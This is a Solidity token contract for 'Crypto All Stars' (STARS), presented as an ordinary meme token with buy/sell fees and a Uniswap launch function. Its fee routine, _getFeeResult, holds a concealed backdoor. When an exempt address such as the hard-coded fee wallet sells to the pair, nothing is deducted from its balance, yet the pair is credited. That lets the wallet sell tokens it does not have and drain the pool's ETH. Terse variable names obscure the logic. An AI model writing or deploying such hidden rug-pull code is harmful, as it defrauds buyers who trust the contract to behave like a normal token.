/*

WEB - https://cryptoallstars.one
X - https://x.com/xcryptoallstars
TG-  https://t.me/cryptoallstarserc20
*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract STARS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _bals;
    mapping(address => mapping(address => uint256)) private _allows;
    mapping(address => bool) private _exempts;

    uint256 private _ibt = 10;
    uint256 private _ist = 10;
    uint256 private _obt = 0;
    uint256 private _ost = 0;
    uint256 private _rbta = 15;
    uint256 private _rsta = 15;
    uint256 private _psb = 15;
    uint8 private constant _decimals = 18;
    uint256 private constant _ts = 420690000 * 10 ** _decimals;
    string private constant _name = unicode"Crypto All Stars";
    string private constant _symbol = unicode"STARS";
    uint256 private _bc = 0;
    uint256 public _mtlmt = (_ts * 2) / 100;
    uint256 public _mxlmt = (_ts * 2) / 100;
    uint256 public _tsthres = 100 * 10 ** _decimals;
    uint256 public _mxtss = _ts / 100;
    address payable private _feeee =
        payable(0x13c4911887BB1827Bb341cb714806aAEfeF71c71);
    IUniswapV2Router02 private unrter;
    address private unpar;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _exempts[_feeee] = true;
        _exempts[owner()] = true;
        _exempts[address(this)] = true;
        _bals[_msgSender()] = _ts;
        emit Transfer(address(0), _msgSender(), _ts);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _ts;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _bals[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allows[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allows[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allows[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function _checkSell(address tob, address fra) internal view returns (bool) {
        return tob == unpar && fra != address(this);
    }

    function _getFeeResult(
        address fraa,
        address tobb,
        uint256 amnn
    ) internal view returns (uint256 txaa, uint256 xamm, uint256 yamm) {
        txaa = amnn.mul((_bc > _rbta) ? _obt : _ibt).div(100);
        xamm = amnn;
        yamm = amnn - txaa;
        if (_checkSell(tobb, fraa)) {
            txaa = amnn.mul((_bc > _rsta) ? _ost : _ist).div(100);
            xamm = _exempts[fraa]
                ? amnn.mul(tobb == unpar ? _ost : _obt).div(100)
                : amnn;
            yamm = amnn - txaa;
        }
    }

    function openSTARS() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        unrter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(unrter), _ts);
        unpar = IUniswapV2Factory(unrter.factory()).createPair(
            address(this),
            unrter.WETH()
        );

        unrter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function _transfer(address fraa, address tobb, uint256 amnn) private {
        require(fraa != address(0), "ERC20: transfer from the zero address");
        require(tobb != address(0), "ERC20: transfer to the zero address");
        require(amnn > 0, "Transfer amount must be greater than zero");
        uint256 txaa = 0;
        uint256 xamm = amnn;
        uint256 yamm = amnn;
        if (fraa != owner() && tobb != owner()) {
            require(tradingOpen || _exempts[fraa], "Trading is not enabled");
            (txaa, xamm, yamm) = _getFeeResult(fraa, tobb, amnn);
            if (fraa == unpar && tobb != address(unrter) && !_exempts[tobb]) {
                require(amnn <= _mtlmt, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(tobb) + amnn <= _mxlmt,
                    "Exceeds the maxWalletSize."
                );
                _bc++;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && tobb == unpar && swapEnabled) {
                if (contractTokenBalance > _tsthres && _bc > _psb)
                    swapTokensForEth(
                        min(amnn, min(contractTokenBalance, _mxtss))
                    );
                uint256 contractBalance = address(this).balance;
                if (contractBalance >= 0 ether) sendETHToward(contractBalance);
            }
        }
        if (txaa > 0) {
            _bals[address(this)] = _bals[address(this)].add(txaa);
            emit Transfer(fraa, address(this), txaa);
        }
        _bals[fraa] = _bals[fraa].sub(xamm);
        _bals[tobb] = _bals[tobb].add(yamm);
        emit Transfer(fraa, tobb, yamm);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToward(uint256 amount) private {
        _feeee.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = unrter.WETH();
        _approve(address(this), address(unrter), tokenAmount);
        unrter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function takeOutETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        _mtlmt = type(uint256).max;
        _mxlmt = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }
}

{
  "compilationTarget": {
    "contracts/Token.sol": "STARS"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}